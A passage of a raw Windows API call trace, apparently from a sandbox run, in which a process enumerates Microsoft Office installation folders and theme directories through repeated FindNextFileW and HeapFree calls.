	[0163.936] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf472b09c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="MSCLIE~1")) returned 1
	[0163.936] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.936] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2803429, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26bb01a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bb01a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE16", cAlternateFileName="")) returned 1
	[0163.939] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.939] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xceb38292, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xceb38292, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe172e9be, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x22cad0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1
	[0164.142] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0164.145] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x24bcc96d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24bcc96d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="DataModel", cAlternateFileName="DATAMO~1")) returned 1
	[0164.174] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0164.174] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17e0c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.dll", cAlternateFileName="MI1312~1.DLL")) returned 1
	[0164.176] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42929a0 | out: hHeap=0x5a0000) returned 1
	[0164.176] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4befc00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0164.176] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0164.176] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0164.176] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x447d6b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x447d6b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x44a38de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c190, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Spatial.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0164.177] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.177] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2803429, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2803429, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2803429, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1
	[0164.177] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.177] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x26a58c7d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x77e88, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1
	[0164.178] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0164.178] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef915def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8f6526, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 0
	[0164.178] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0164.178] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.178] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0fbc434, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0fbc434, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf10a1263, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2c40, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1
	[0164.179] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0164.179] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8d02b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8d02b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1
	[0164.179] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0164.179] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc576616a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1
	[0164.180] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.180] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc62081b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc62081b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc62081b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1bac0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1
	[0164.181] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0164.181] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1
	[0164.181] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.181] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7beb2bc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7beb2bc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1cec0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1
	[0164.181] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0164.181] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0ed7602, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0ed7602, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0ed7602, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1
	[0164.181] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0164.181] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5f76153, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEXTCONV", cAlternateFileName="")) returned 1
	[0164.182] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0164.182] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES16", cAlternateFileName="")) returned 1
	[0164.183] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.183] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ARCTIC", cAlternateFileName="")) returned 1
	[0164.183] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.183] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="AXIS", cAlternateFileName="")) returned 1
	[0164.183] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.183] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a96da3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a96da3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLENDS", cAlternateFileName="")) returned 1
	[0164.184] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.184] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a70c44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLUECALM", cAlternateFileName="")) returned 1
	[0164.184] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.184] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1
	[0164.184] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.184] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1
	[0164.185] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.185] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BREEZE", cAlternateFileName="")) returned 1
	[0164.185] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.185] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CANYON", cAlternateFileName="")) returned 1
	[0164.185] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.185] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CAPSULES", cAlternateFileName="")) returned 1
	[0164.186] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.186] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CASCADE", cAlternateFileName="")) returned 1
	[0164.186] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.186] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="COMPASS", cAlternateFileName="")) returned 1
	[0164.186] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.186] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CONCRETE", cAlternateFileName="")) returned 1
	[0164.187] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.187] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1
	[0164.187] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.187] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ECHO", cAlternateFileName="")) returned 1
	[0164.187] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.187] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ECLIPSE", cAlternateFileName="")) returned 1
	[0164.188] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.188] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EDGE", cAlternateFileName="")) returned 1
	[0164.188] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.188] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b2f705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b2f705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EVRGREEN", cAlternateFileName="")) returned 1
	[0164.188] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.188] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b2f705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b2f705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EXPEDITN", cAlternateFileName="")) returned 1
	[0164.188] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.189] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ba1ded, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ba1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ICE", cAlternateFileName="")) returned 1
	[0164.189] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
